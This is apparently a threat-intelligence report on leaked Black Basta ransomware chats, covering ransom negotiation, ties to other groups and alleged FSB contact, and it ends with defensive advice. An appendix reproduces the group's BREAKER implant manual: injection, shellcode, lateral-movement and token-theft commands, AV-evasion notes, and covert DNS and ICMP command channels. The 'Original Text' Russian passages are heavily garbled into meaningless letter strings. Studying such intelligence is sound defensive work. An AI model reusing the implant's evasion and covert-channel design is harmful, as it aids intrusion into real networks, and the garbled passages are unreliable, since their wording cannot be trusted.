K BMH MOAYYNTb AOCTYN - HO X3 TaM TakoW KMMKLLb
NOAHANCS

2024-03-18 10:44:08,
@usernameugway:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> Tam
TECTOBLIN BMH NPUHSJ, CEYac NOVLLEM eLle
2024-03-18 11:00:07,
@usernamegg:matrix.bestflowers247.online, Hy a
CKOJIbKO PEBEHIO Y HUX?

2024-03-18 11:00:49,
@usernameugway:matrix.bestflowers247.online, 70kk
2024-03-19 07:46:38,
@usernameugway:matrix.bestflowers247.online,
npvieset

2024-03-19 07:46:50,
@usernameugway:matrix.bestflowers247.online, B
obLem npobema ecam He WNdpyeLLb JaHHbIE
2024-03-19 07:46:54,
@usernameugway:matrix.bestflowers247.online, 3to
06paTtnTb Ha cebs BHMMaHWe

2024-03-19 07:47:16,
@usernameugway:matrix.bestflowers247.online,
CerofHs elle NoAoXay, HO Noka peakLmmn HeT
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The conversation shares tactics of pressuring victim organizations by referencing competitors and customers
while discussing ransom demand amounts. Members debate extortion without encryption, considering risks of
excessive attention. The discussion reveals strategic planning to maximize financial gains, including adjusting
demands after verifying victim revenue information, providing valuable insights into negotiation dynamics
behind ransomware attacks.
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I 8. Connections to Other Attack Groups

The recent emergence of successive extortion-based ransomware groups draws attention to inter-group
relationships and personnel mobility. The leaked chat logs contain multiple exchanges demonstrating these
connections.

Black Basta members maintained loose connections with other major ransomware groups. They also held
relationships with botnet groups including Trickbot, confirming collaborative networks among multiple attack
groups.

This interconnected criminal network suggests that when authorities dismantle one group, members can transfer
to other organizations through existing personal networks and continue criminal activities. Combined with
conversations suggesting nation-state relationships found in the chat logs, these factors present challenges for
law enforcement efforts.

These inter-organizational connections also complicate ransomware defense strategies for enterprises and
individuals.

Suggested Connections with Other Ransomware Groups

Conversations Suggesting tinker's Involvement with BlackSuit

Translated Original Text

2024-05-20 14:22:00, 2024-05-20 14:22:00,
@usernamegg:matrix.bestflowers247.online, what @usernamegg:matrix.bestflowers247.online, Tbl B
other affiliate do you still work in? KakoW nmapTHepke elle paboTaelb?

2024-05-20 14:32:40, 2024-05-20 14:32:40,
@tinker:matrix.bestflowers247.online, in blacksuit, but =~ @tinker:matrix.bestflowers247.online, B 613kctoTe, HO
| think it's time to leave from there A iymMato, nopa yxoauTb oTTyja

2024-05-20 14:33:04, 2024-05-20 14:33:04,
@tinker:matrix.bestflowers247.online, well and +/- | @tinker:matrix.bestflowers247.online, Hy n +/- ¢
maintain relationships with the horse guys pebsTaMu Xopca OTHOLLEHWNA NOAAEeP>KMBaIO
2024-05-20 14:37:09, 2024-05-20 14:37:09,
@tinker:matrix.bestflowers247.online, but overall, @tinker:matrix.bestflowers247.online, Ho B Liesom, 3a
beyond basta, it's a scorched desert npegenamm 6acTbl, BbIXX>XKEHHas MyCTbIHs
2024-05-20 14:37:40, 2024-05-20 14:37:40,
@tinker:matrix.bestflowers247.online, something @tinker:matrix.bestflowers247.online, uto-TO Kak-TO
somehow worked out with alphv, but the feds closed | nonyuanock y anbdBu, HO ux 3akpblIn desepant,
them, and possibly even Russian ones, but that's NPUYEM, BO3IMOXHO, jaXke POCCUNCKME, a TaK B
basically everything obLem-To BCé

2024-05-20 14:38:19, 2024-05-20 14:38:19,
@usernamegg:matrix.bestflowers247.online, @usernamegg:matrix.bestflowers247.online, noHsn
understood

tinker maintained connections with BlackSuit, AlphV, and Conti. Horse, who appears in conversations, previously
operated with Conti. These examples illustrate common patterns of individuals maintaining affiliations across
multiple organizations.
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Conversations Suggesting tinker's Involvement with Conti

Translated

2024-05-23 12:35:43,
@usernamegg:matrix.bestflowers247.online, hello
2024-05-23 12:36:28,
@usernamegg:matrix.bestflowers247.online, have you
ever called companies? | want to test your abilities on
calls and try to infect companies selectively and invite
them to work

2024-05-23 12:36:41,
@usernamegg:matrix.bestflowers247.online, but you'll
need to call

2024-05-23 12:36:44,
@usernamegg:matrix.bestflowers247.online, a lot
[omitted]

2024-05-23 16:53:56,
@tinker:matrix.bestflowers247.online, haven't called
personally, wrote millions of scripts for calls
2024-05-23 16:54:30,
@tinker:matrix.bestflowers247.online, let me write you
good scripts, and for the actual calling it's better to
put a person who has done this

2024-05-23 16:54:35,
@tinker:matrix.bestflowers247.online, | personally
never did this

2024-05-23 16:54:43,
@tinker:matrix.bestflowers247.online, yes and it's
risky, | won't even deceive

2024-05-23 16:54:59,
@tinker:matrix.bestflowers247.online, but | was
involved in call center coordination almost from the
beginning of my work at conti

2024-05-23 16:55:07,
@tinker:matrix.bestflowers247.online, so here I'm
ready to help with all my strength

Original Text

2024-05-23 12:35:43,
@usernamegg:matrix.bestflowers247.online, npuset
2024-05-23 12:36:28,
@usernamegg:matrix.bestflowers247.online, a Tbl
3BOHWA KOTAa HNOYAb B KOMMNaHUN? XO4y TBOM
CNOCOBHOCTM NPOBEPUTL Ha 3BOHKax 1 nonpobosaTb
TOYEYHO 3apakaTb KOMMNaHUN 1 3BaTb X B paboTy
2024-05-23 12:36:41,
@usernamegg:matrix.bestflowers247.online, Ho Hago
6yseT 3BOHUTb

2024-05-23 12:36:44,
@usernamegg:matrix.bestflowers247.online, MHoro
[omitted]

2024-05-23 16:53:56,
@tinker:matrix.bestflowers247.online, nyyHo He
3BOHWJ, CKPUMTOB A/19 3BOHKOB MWJIMOH NWCan
2024-05-23 16:54:30,
@tinker:matrix.bestflowers247.online, gaBan s Tebe
XOpOLUMe CKPUNTbI MPONULLY, @ Ha CaM 3BOHOK JyulLle
CTaBWTb YesI0BEKa, KOTOPbIN 3TUM 3aHUMaCS
2024-05-23 16:54:35,
@tinker:matrix.bestflowers247.online, A Takoro AM4HoO
HWKOrAa He aenan

2024-05-23 16:54:43,
@tinker:matrix.bestflowers247.online, ga n cTpémHo, A
Aaxe NykaBuTb He byay

2024-05-23 16:54:59,
@tinker:matrix.bestflowers247.online, Ho
KOOpAMHLanen KONLEHTPOB A 3aHUMaNCs NOYTU C
Hayana cBoeun paboTbl B KOHTM

2024-05-23 16:55:07,
@tinker:matrix.bestflowers247.online, Tak uto TYT
roToB NMOMoraTb BCEMU CUaMU
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Conversation Indicating That gg Knows the Identity of Cactus

Translated

2024-05-20 09:00:03,
@lapa:matrix.bestflowers247.online, did verb change
something? shall we send?

2024-05-20 09:26:44, @nickolas:talks.icu, it's just
socks under linux

2024-05-20 09:26:49, @nickolas:talks.icu, Hello
2024-05-20 09:46:07,
@usernamegg:matrix.bestflowers247.online, Here, |
continue to deal with the detect, hope to cope by
night

2024-05-20 09:46:12,
@usernamegg:matrix.bestflowers247.online, here's his
answer just now

2024-05-20 09:46:23,
@usernamegg:matrix.bestflowers247.online, there's
another person

2024-05-20 09:46:32,
@usernamegg:matrix.bestflowers247.online, hello
2024-05-20 09:46:36,
@usernamegg:matrix.bestflowers247.online, I'll ask
him

2024-05-20 09:48:34,
@usernamegg:matrix.bestflowers247.online, amount
of payments paid

2024-05-20 09:48:37,
@usernamegg:matrix.bestflowers247.online, in mg
2024-05-20 09:48:43,
@usernamegg:matrix.bestflowers247.online, cactus
they are

2024-05-20 09:48:49,
@usernamegg:matrix.bestflowers247.online, 500-600k
2024-05-20 09:49:19,
@usernamegg:matrix.bestflowers247.online, like it's
already 2024, every admin has backups and fshell in
one place or everything in the cloud

2024-05-20 09:49:28,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> there's
another person | think he'll have the same after
sending

Original Text

2024-05-20 09:00:03,
@lapa:matrix.bestflowers247.online, verb nomeHsn
yTo-TO? BysemM cnatb?

2024-05-20 09:26:44, @nickolas:talks.icu, npocto 310
COKC MOZA NNHYKC

2024-05-20 09:26:49, @nickolas:talks.icu, MpwuBeT
2024-05-20 09:46:07,
@usernamegg:matrix.bestflowers247.online, Tyr,
npoAo/Kato pa3dbunpaTbca C AeTEKTOM, HaAerChb K
HOUM CpaBAtOCh

2024-05-20 09:46:12,
@usernamegg:matrix.bestflowers247.online, BoT ero
OTBET TOJ/IbKO YTO

2024-05-20 09:46:23,
@usernamegg:matrix.bestflowers247.online, ectb e3e
Apyrou yenosek

2024-05-20 09:46:32,
@usernamegg:matrix.bestflowers247.online, npuset
2024-05-20 09:46:36,
@usernamegg:matrix.bestflowers247.online, cnpotuy
y Hero

2024-05-20 09:48:34,
@usernamegg:matrix.bestflowers247.online, cymma
BbIN/IaT ynaata

2024-05-20 09:48:37,
@usernamegg:matrix.bestflowers247.online, B mr
2024-05-20 09:48:43,
@usernamegg:matrix.bestflowers247.online, kakTyc
OHW Xe

2024-05-20 09:48:49,
@usernamegg:matrix.bestflowers247.online, 500-600k
2024-05-20 09:49:19,
@usernamegg:matrix.bestflowers247.online, Tvna 3to
yxxe 2024 rog, y Kaxaoro agMuHa ecTb 6ekarnbl u
duwenka B ogHOM MecTe nnbo Bce B 0bnake
2024-05-20 09:49:28,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> ectb
e3e Jpyrovi UesIoBEK Y HEFO TakxXe AyMato byaet
nocne nNpocoina
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Conversations Indicating Connections with LockBit

Translated

[11:14:26] BB: hello

[11:14:33] BB: what's happening?

[11:14:38] BB: how are you there?

[11:14:43] BB:
https://www.bleepingcomputer.com/news/security/lo
ckbit-ransomware-disrupted-by-global-police-
operation/

[11:57:27] LockBit: FBI through vulnerable php fucked
up a couple of servers, servers with data are intact,
sitting recovering

[12:42:00] BB: understood, go ahead and recover,
everything will be ok.

Original Text

[11:14:26] BB: privet

[11:14:33] BB: chto proishodit?

[11:14:38] BB: kak ti tam?

[11:14:43] BB:
https://www.bleepingcomputer.com/news/security/lo
ckbit-ransomware-disrupted-by-global-police-
operation/

[11:57:27] LockBit: $6p uepes ya3BMMbIN Nxn yebanu
napy cepBepoB, cepBepa C AaTOW Lenble, CUXY
BOCCTaHaB/IMBaOCh

[12:42:00] BB: ponyl, davay vostanavlivaysy, vse budet
ok.

The exchange demonstrates crisis solidarity and information sharing between cybercrime groups.
Communication between Black Basta and LockBit, distinct ransomware groups, reveals shared concerns about

law enforcement activities and mutual support. Technical detail sharing (vulnerable PHP) also functions as

warnings to other groups potentially having similar vulnerabilities.
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Suggested Connections with Other Attack Groups

gg and chuck Discussing Trickbot Members

Translated

2024-07-18 09:40:33, @chuck:talks.icu, by the way this
guy from tricks is apparently russian

2024-07-18 09:40:48, @chuck:talks.icu, he has a public
card on interpol's site

2024-07-18 09:41:39, @chuck:talks.icu,
https://www.interpol.int/How-we-work/Notices/Red-
Notices/View-Red-Notices#2024-37141

2024-07-18 09:42:18,
@usernamegg:matrix.bestflowers247.online, Place of
birth  MOSKAU, Russia Nationality Russia
2024-07-18 09:43:15,
@usernamegg:matrix.bestflowers247.online, why did |
come here before training)

2024-07-18 09:43:24,
@usernamegg:matrix.bestflowers247.online, | was
calming myself that he's a khokhol)

2024-07-18 09:43:30,
@usernamegg:matrix.bestflowers247.online, tricks are
khokhols

2024-07-18 09:43:35,
@usernamegg:matrix.bestflowers247.online, you
worked closely with them,

2024-07-18 09:43:36,
@usernamegg:matrix.bestflowers247.online, ?
2024-07-18 09:43:42,
@usernamegg:matrix.bestflowers247.online, or ari
2024-07-18 09:44:23, @chuck:talks.icu, and | looked
at it yesterday before sleep)

2024-07-18 09:44:35, @chuck:talks.icu, no, | didn't
intersect with them at all

2024-07-18 09:44:38, @chuck:talks.icu, ari knows
people from there

2024-07-18 09:44:49, @chuck:talks.icu, bentley
2024-07-18 09:44:53,
@usernamegg:matrix.bestflowers247.online, fucking
hell)

2024-07-18 09:44:58, @chuck:talks.icu, bentley is from
rf, works for fsb

2024-07-18 09:45:01,
@usernamegg:matrix.bestflowers247.online, sorry for
the swearing

2024-07-18 09:45:12, @chuck:talks.icu, there's too
little info so far

Original Text

2024-07-18 09:40:33, @chuck:talks.icu, kctaTn atoT
Yen 13 TPUKOB NOXOAY PYCCKUI

2024-07-18 09:40:48, @chuck:talks.icu, y Hero
KapTouka nybanyHas Ha cante MHTeprosa
2024-07-18 09:41:39, @chuck:talks.icu,
https://www.interpol.int/How-we-work/Notices/Red-
Notices/View-Red-Notices#2024-37141

2024-07-18 09:42:18,
@usernamegg:matrix.bestflowers247.online, Place of
birth  MOSKAU, Russia Nationality Russia
2024-07-18 09:43:15,
@usernamegg:matrix.bestflowers247.online, 3auem s
3awen croAa nepes TPEHMPOBKOM )

2024-07-18 09:43:24,
@usernamegg:matrix.bestflowers247.online, s xoann
cebs ycrokavBan Yto OH XOXON )

2024-07-18 09:43:30,
@usernamegg:matrix.bestflowers247.online, Tpnku
e XOX/bl

2024-07-18 09:43:35,
@usernamegg:matrix.bestflowers247.online, Tbl ¢
HUMW NAOTHO paboTan,

2024-07-18 09:43:36,
@usernamegg:matrix.bestflowers247.online, ?
2024-07-18 09:43:42,
@usernamegg:matrix.bestflowers247.online, unn apwu
2024-07-18 09:44:23, @chuck:talks.icu, a 5 BOT BUepa
nepes CHOM NOCMoTpen )

2024-07-18 09:44:35, @chuck:talks.icu, He, 8 ¢ HUMK
HMKaK He nepecekancs

2024-07-18 09:44:38, @chuck:talks.icu, apun 3Haet
oTTyja ntogen

2024-07-18 09:44:49, @chuck:talks.icu, 6eHTAn
2024-07-18 09:44:53,
@usernamegg:matrix.bestflowers247.online, ebaHbi
nusaey, )

2024-07-18 09:44:58, @chuck:talks.icu, 6eHTAn 13 po,
paboTaeTt Ha dcb

2024-07-18 09:45:01,
@usernamegg:matrix.bestflowers247.online, copsH 3a
mat

2024-07-18 09:45:12, @chuck:talks.icu, noka nHobI
CNLLKOM Maso
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2024-07-18 09:45:16, @chuck:talks.icu, don't know
what happened there

2024-07-18 09:45:24,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> bentley is from rf, works for fsb
crypter?

2024-07-18 09:45:30, @chuck:talks.icu, no no
2024-07-18 09:45:39, @chuck:talks.icu, different one,
one of the main tricks

2024-07-18 09:45:49,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> bentley is from rf, works for fsb |
don't know him

2024-07-18 09:45:16, @chuck:talks.icu, x3 uTto Tam
npomn3oLwIo

2024-07-18 09:45:24,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> 6eHTAn 13 pd, paboTaeT Ha dcbd
KpunTtep?

2024-07-18 09:45:30, @chuck:talks.icu, He He
2024-07-18 09:45:39, @chuck:talks.icu, apyron, oamH
13 rNaBHbIX TPMKOB

2024-07-18 09:45:49,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> 6eHTV 13 pd, paboTtaeT Ha Pcb s
ero He 3Hato

Conversations confirm gg had connections with individuals involved in Cactus and Trickbot. Similarly,
information indicates attacker Ari maintained ties with Trickbot-affiliated individuals. These findings suggest
Black Basta members commonly maintain relationships across multiple attack groups, revealing potentially

extensive networks among cyber threat actors.
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Connections with Intelligence Agencies in Conversations

Conversations Indicating Involvement with Intelligence Agencies

Translated

2024-03-04 14:22:13,
@tinker:matrix.bestflowers247.online, an
acquaintance from the second team, who knows that |
work for you, passed on that the office is looking for
you. They have questions about your targeting of
"friendly countries”. I've known him since around 21st
year, so | decided it's better to pass this on to you,
just in case.

2024-03-04 14:22:45,
@tinker:matrix.bestflowers247.online, And these are
very restless times, they really are tearing and
throwing lightning in all directions because of
navalny.

2024-03-04 14:23:06,
@tinker:matrix.bestflowers247.online, Well and you
know yourself - as soon as political movements begin
- they come to conti, it was already like this before
the war

2024-03-04 14:27:41,
@usernamegg:matrix.bestflowers247.online, so
2024-03-04 14:27:50,
@usernamegg:matrix.bestflowers247.online, what
second team? what person?

[omitted]

2024-03-04 14:29:28,
@usernamegg:matrix.bestflowers247.online, that the
office is looking for you - what office fsb, fso,
department K?

[omitted]

2024-03-04 14:31:55,
@tinker:matrix.bestflowers247.online, Second team -
blacksuit, royal. Person - one of their pentesters. |
know him as "alpha", seems like "forest" is also him.
2024-03-04 14:33:05,
@tinker:matrix.bestflowers247.online, He didn't
elaborate much - said "hit a friendly country with
locker" - literally

2024-03-04 14:33:23,
@usernamegg:matrix.bestflowers247.online, we don't
touch anyone from friendly countries

2024-03-04 14:33:29,
@tinker:matrix.bestflowers247.online, Office - this is
FSB

Original Text

2024-03-04 14:22:13,
@tinker:matrix.bestflowers247.online, MHe 3HaKOMbIl
13 BTOPOW TUMbI, KOTOPbIV 3HAET, YTO A paboTato y
Teb6a nepesan, Uto TebHA MLLLET KOHTOPA. Y HUX
BOMPOCHI MO TBOEMY TapreTpOBaHMIO

" Apy>XeCcTBeHHbIX cTpaH". A ero 3Haro rae-1o ¢ 21ro
roga, TaK, YTo peLumns, 4To Takoe nydlle Tebe
nepegatb, Ha BCAKWI CyYal.

2024-03-04 14:22:45,
@tinker:matrix.bestflowers247.online, A To BpemeHa
celyac 0YeHb HeCrNOKOMHble, OHU W MpaBja 13-3a
HaBa/IbHAT ceryac PBYT Y MeYyT MOJIHUMN BO BCE
CTOPOHBI.

2024-03-04 14:23:06,
@tinker:matrix.bestflowers247.online, Hy v Tbl cam
3Haellb - Kak TOIbKO HauMHaeTCcA NomMTMYecKas
ABVKYXa - NPUXOAAT K KOHTW, Nepes BOMHOW yxe TaK
6b1710

2024-03-04 14:27:41,
@usernamegg:matrix.bestflowers247.online, Tak
2024-03-04 14:27:50,
@usernamegg:matrix.bestflowers247.online, uto 3a
BTOpas KOMaHja? yto 3a ven?

[omitted]

2024-03-04 14:29:28,
@usernamegg:matrix.bestflowers247.online, uto Tebs
NLLET KOHTOPa - Kakas KoHTopa ¢cb , dco, otaens K?
[omitted]

2024-03-04 14:31:55,
@tinker:matrix.bestflowers247.online, Bropas
KOMaHga - 613kctoT, posan. Yen - oanH U3 nx
neHTectepos. f ero kak "anbda” 3Haro, Bpoge
"bopect” eLLé OH Xe.

2024-03-04 14:33:05,
@tinker:matrix.bestflowers247.online, OH He ocobo
pacnpocTpaHsacs - ckasan "Bbebanv 1oKkepom
APY>KeCTBEHHYHO CTpaHy" - 4OCNOBHO

2024-03-04 14:33:23,
@usernamegg:matrix.bestflowers247.online, Mmbl
HWKOrO He Tporaem 13 Apy>KeCTBEHHbIX CTPaH
2024-03-04 14:33:29,
@tinker:matrix.bestflowers247.online, KoHTtopa - 310
®Ch
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2024-03-04 14:34:02,
@tinker:matrix.bestflowers247.online, | know that we
don't touch, if we really did touch - | wouldn't be
talking to you about this now)

2024-03-04 14:35:20,
@usernamegg:matrix.bestflowers247.online, Let him
say specifically

2024-03-04 14:35:26,
@usernamegg:matrix.bestflowers247.online, who
we're talking about

2024-03-04 14:35:47,
@usernamegg:matrix.bestflowers247.online, we could
have caught a trust of a friendly country

2024-03-04 14:36:13,
@usernamegg:matrix.bestflowers247.online, we don't
target countries we are friends with

2024-03-04 14:36:24,
@usernamegg:matrix.bestflowers247.online, only if
trust for example the company itself is USA

[omitted]

2024-03-04 14:45:57,
@usernamegg:matrix.bestflowers247.online, haven't
seen royal for a long time

2024-03-04 14:46:18,
@usernamegg:matrix.bestflowers247.online, blacksuit
- is this a locker?

2024-03-04 14:46:33,
@tinker:matrix.bestflowers247.online, royal is no
more - they are now called blacksuit

2024-03-04 14:46:42,
@tinker:matrix.bestflowers247.online, it's both locker
and the group itself

2024-03-04 14:46:53,
@tinker:matrix.bestflowers247.online, but it's all the
same people

2024-03-04 14:47:02,
@usernamegg:matrix.bestflowers247.online, uh-huh

2024-03-04 14:34:02,
@tinker:matrix.bestflowers247.online, A 3Hato, uTo He
Tporaem, eciv bbl TpOranun AenNCcTBUTENIbHO - 5 Obl He
roBopwma c Tobow cetvac 06 3Tom)

2024-03-04 14:35:20,
@usernamegg:matrix.bestflowers247.online, Myckai
CKaXkeT KOHKPETHO

2024-03-04 14:35:26,
@usernamegg:matrix.bestflowers247.online, o kom
naeT pasrosop

2024-03-04 14:35:47,
@usernamegg:matrix.bestflowers247.online, mbl
MOTN TPACT 3aLenunTb APY>KECTBEHHOM CTPaHbI
2024-03-04 14:36:13,
@usernamegg:matrix.bestflowers247.online, Mmbl He
CTaBMM CTPaHbl C KOTOPbIMU Mbl APYXXUM
2024-03-04 14:36:24,
@usernamegg:matrix.bestflowers247.online, Tonbko
eC/IV TpacT HanprMep KoHTopa cama USA

[omitted]

2024-03-04 14:45:57,
@usernamegg:matrix.bestflowers247.online, posn
[aBHO He BUAeN

2024-03-04 14:46:18,
@usernamegg:matrix.bestflowers247.online, 6a3kctoT
- 3TO nokep?

2024-03-04 14:46:33,
@tinker:matrix.bestflowers247.online, posin 6onblue
HeT - oHu Tenepb blacksuit Ha3bIBatoTCA

2024-03-04 14:46:42,
@tinker:matrix.bestflowers247.online, 310 1 okep n
cama rpynna

2024-03-04 14:46:53,
@tinker:matrix.bestflowers247.online, Ho 370 BCE Te
Xe Noam

2024-03-04 14:47:02,
@usernamegg:matrix.bestflowers247.online, ara

tinker received a warning from BlackSuit (Royal's rebrand) associates that FSB sought gg for 'attacks on friendly
nations," and relayed this information. tinker stated, 'when political movements begin, they come to Conti, same

as before the war,' suggesting past authority contact with ransomware groups. This exchange reveals how

Russian cybercrime groups face official pressure and intervention based on political circumstances.
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Other conversations

Mentions of Stormous

Translated

2024-03-12 19:52:57,
@usernamegg:matrix.bestflowers247.online, is there
anything else?

[omitted]

2024-03-12 21:21:41,
@usernamegg:matrix.bestflowers247.online,
https://www.bleepingcomputer.com/news/security/du
vel-says-it-has-more-than-enough-beer-after-
ransomware-attack/

2024-03-12 21:21:57,
@usernamegg:matrix.bestflowers247.online,
Stormous ransomware do you have any relation to
them?

[omitted]

2024-03-12 21:51:46,
@tinker:matrix.bestflowers247.online, No

Original Text

2024-03-12 19:52:57,
@usernamegg:matrix.bestflowers247.online, ectb
eLlle 4yto T1o?

[omitted]

2024-03-12 21:21:41,
@usernamegg:matrix.bestflowers247.online,
https://www.bleepingcomputer.com/news/security/du
vel-says-it-has-more-than-enough-beer-after-
ransomware-attack/

2024-03-12 21:21:57,
@usernamegg:matrix.bestflowers247.online,
Stormous ransomware Tbl Kakoe TO OTHOLLEHWE K HUM
nveewb?

[omitted]

2024-03-12 21:51:46,
@tinker:matrix.bestflowers247.online, Nea

gg referenced news about a company attacked by Stormous ransomware group and asked tinker about

connections with Stormous, which tinker immediately denied. This inquiry assumes lateral connections among
actors and reveals intent to clarify and understand collaborators' and members' ties with external organizations.
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| 9. conclusion

The analysis of about 200,000 chat logs revealed key details about Black Basta's structure and operations.

The group operated from physical offices with task delegation and daily management structures. However, their
communications exposed internal problems: conflicts between members, dropping motivation, and constant fear
of law enforcement. These day-to-day conversations were invaluable for understanding how sophisticated
modern cyberattacks function and how cybercriminal organizations think and behave.

From a technical perspective, the group combined many tools and techniques, including scripts, malware, zero-
day exploits, and known vulnerabilities. They showed advanced skills and the ability to develop their own attack
tools, and displayed flexibility by adopting new technologies such as generative Al.

Analysis of organizational aspects revealed interconnections with other threat actors, cross-group personnel
movements, and indications of possible rebranding efforts. These findings indicate potential scenarios where
operations resume under new group identities or Black Basta's technical capabilities transfer to other attack

groups.

Previous studies have consistently identified financial motivation as the driving force behind ransomware
operations, and our analysis revealed Black Basta operated under the same principle, treating monetary gain as
their primary objective. Their conversations illustrated a calculated methodology: comprehensive financial
profiling of target companies to strategically maximize ransom amounts while maintaining realistic payment
expectations. Significantly, the logs contained references to multiple Japanese enterprises, including
organizations that had not made any public disclosure of security incidents.

The operational realities exposed in the chat logs constituted vital intelligence for defensive teams. While basic
security controls - including timely patching, strict credential governance, and multi-factor authentication - are
universally effective against diverse threat types, not just ransomware, these conversations revealed something
particularly instructive: the attackers' persistent challenges in gaining initial foothold demonstrated the
paramount importance of early-stage intrusion detection and prevention.

Beyond fundamental measures, organizations must build multi-layered defenses including PowerShell usage
restrictions and malicious command-line monitoring. Evidence of attackers testing antivirus behavior and
leveraging new technologies like generative Al demonstrates that technical measures alone prove insufficient.
Continuous employee training based on attack scenarios enhances actual response capabilities against threats.

Since cyberattack groups operate covertly and remain largely invisible, people tend to view cyber threats as
something that happens to others, not themselves. But recognizing the reality of their operations and
understanding their evolving methods is the first step toward building strong defenses.
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| Appendi

| BREAKER's Attack Tool Manual

Below is the detailed BREAKER manual extracted from the chat logs. The contents of this manual confirm that the
Black Basta group has independently developed a multifunctional attack tool, demonstrating the group's high
level of technical capabilities.

Translated
2024-03-25 10:03:26, @usernameyy:matrix.bestflowers247.online

Autoscroll for tabs is now unified.

Removed unreadable processes from the bottom of the inject menu.

Renamed the “remove unusable” button to “Filter by injectable.”

Now, along with the process counter, information is also provided on how many of them are blue and red. In the
inject window, there is detailed information for each process, plus filters:

Total red processes: The total number of processes highlighted in red (AV). Next to the label is a “filter” button
that will sort only the red ones.

Total blue processes: Client applications. Next to the label is a “filter” button that will sort only the blue ones.

Complete documentation with the applied changes (if | forgot to mention something here, it should be in there):

<Masked: URL>

basic auth:

<Masked: Credentials>
<Masked: Credentials>

e cd - change directories

e shell <cmd> - execute in cmd

e ea - execute assembly (C#), alias: execute_assembly

(requires middleware, not sent by default; run these two commands in order before execution: gap

->sm)

e s - alias for shell dir

e inject <int> - inject itself into a process by ID

e shinject <int> - inject shellcode into a process by ID

e locallistener <int> - start a local listener on the specified port, alias: |l

e exit - disconnect this breaker (without reconnection attempts)

e jump <pc_name> - jump to another machine and run itself there

e remote_exec <pc_name> <cmd> - execute a command remotely

e remote_exec ESXI7WIN2019V3 C:¥Users¥Public¥Braker.exe , alias: re

e make_token <domain>¥<username> <password> - obtain a token for the given user;
use a dot instead of a domain if the user is local, alias: mt

e rev2self - reset token
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e ps <optional: cache> - get processes;
if “cache” is specified (ps cache), the cached value will be returned. Recommended to avoid traffic
detection. To update the cache, run the command once without the cache option.

e sleep <number> - by default, uses “smart sleep”:
the breaker will ping every 5 seconds (default). If a command arrives, it executes immediately.

e upload <filename> - upload a file with the name specified as the first argument; a file selection
window will appear.

**net commands:**
e net domain - get the current domain name
e net domain_trusts - get a list of inbound & outbound trusts;
aliases: dt, trusts, trust, domain_trust
e getarchandpid - get architecture and PID;
required before execute assembly. Alias: gap
e gcn - GetComputerName
e gpn - GetProcessName
e gdn - GetDomainName
e status - get current command load status
(for DNS and ping servers, useful if there's a lot of data)
e sm - get middleware (needed for sharp inject)

**Q: Why load middleware manually?**

A: It could be done automatically, but that takes more time and increases the chance of AV detection. If you
don't plan to use .NET, why load the payload right away? In memory, it's stored as a separate EXE, making it
easy to find. In the future, there will be encryption or conversion to shellcode (the latter is more likely).

User Interface Description:
e Login button: sends an authorization request to the main server
(currently happens automatically; no need to press).
e Interact button: adds the target to the tab list and makes it active for interaction.
e Ban client: ban a client by IP;
they won't be able to connect again until the main server restarts.
e Disconnect client: remove the client from the list (e.g., if unresponsive for a long time);
they will reconnect later if they rejoin the network.

ProcessName”column: shows the process running the breaker; hover to see the FULL file path.

Autoscroll checkbox above the console: if checked, new operator commands and target responses will scroll
the console to the bottom automatically.

Input panel at the very bottom, appears after pressing “Interact”:
Can be resized vertically by hovering over the top-right corner of the console (small expansion icon), then
clicking and dragging.

Up/down arrows: command history.

Tab key is currently disabled to prevent accidental browser navigation; command autofill is in progress.
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Small box in the top right to adjust console height.

Above the input panel is the current working directory, which is saved. (In future silent mode, there will be no
working directory to avoid suspicious behavior.)

Right-clicking a table row opens a custom context menu:
e Self inject: opens a window listing processes on the computer (first request without cache - ps),
allowing self-propagation.

In the window, “Filter by injectable” removes processes that cannot be injected into.
Total red processes: total number of red-highlighted processes (AV); “filter” button sorts only reds.

Total blue processes: client apps; “filter” button sorts only blues.
e Get processes: request process list (same as ps in console).

Global Logs tab: for technical use; nothing bad will happen if you type a command there.
Server Description:

The program now includes basic RC4 encryption between client and server until replaced with a stronger
alternative. This is sufficient for now (until the protocol is reverse-engineered).

Arguments:
e port <int>: use this port for everything except shellcode (EXE).
¢ silent: silent mode; currently doesn’t send certain programs on startup to avoid AV detection.

Supported Protocols:
(exp) = experimental version, may contain bugs.

Tcp / DNS (exp) / PING (exp)

TCP:
Custom message exchange protocol using raw TCP. Most exposed and easiest to track, but fastest. Covered
with RC4.

DNS:

Based on https://www.ietf.org/rfc/rfc1035.txt. Currently only has a malformed frame mode: sends data -> rc4
-> base64 in a broken format for parsers, which may evade detection since standard parsers won't recognize
it (but will still see it as a DNS request). Future plans:valid packet spoofing using different domain levels, TXT
records.

PING:
Sends ICMPv2 packets with RC4 payload instead of alphabet. Ping is rarely disabled, may bypass certain
firewalls.

Error Codes:
¢ 10: middleware for sharp inject not saved (use gap -> sm)
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e 232: middleware pipe closed (contact developer)

Original Text
2024-03-25 10:03:26, @usernameyy:matrix.bestflowers247.online, ABTockponn ans Tabos Tenepb 06LLMA

Y6pan HeumTaemble NPOLECCHI CHMU3Y MHXEKTa MeHto NepenmeHoBan KHOMKy remove unusable -> Filter by
injectable Tenepb ¢ KayHTepPOM MPOLLECCOB Tak>Ke MPUXOAUT MHDOPMaLMA CKObKO ronybbIX U KpacHbIX U3
HUX. B OKHe MHXeKTa ecTb NoAPO6HO Mo KaxaoMy npoueccy + ¢punbTpbl: Total red processes 31o Bcero
MOACBEUYEHO KpacCHbIX NpoueccoB (aB). Bo3ne Haanuncu kHorka filter koTopas oTcopTupyeT Toabko
KpacHble. Janee Total blue processes 310 knmeHTCKMe NpuaoxeHns. Bosne Haanmcy kHonka filter kotopas
OTCOPTUPYET TONbKO ronybble. [onHas AOKYMeHTaL s CO BHECEHHBIMU N3MEHEHUSAMM (€C/IN f UTO-TO 3abbin
HanucaTb ceryac, To TyT 3TO AOJIKHO ObITb):  ================[104K/TFOYEHVE K WEB
NAHE/IN================

<Masked: URL>

basic auth:

<Masked: Credentials>

<Masked: Credentials>

cd - nepemelLeHme No nankam
shell <cmd> - BbinoNHEHWE B cmd
ea - execute assembly (c#), anvac: execute_assembly
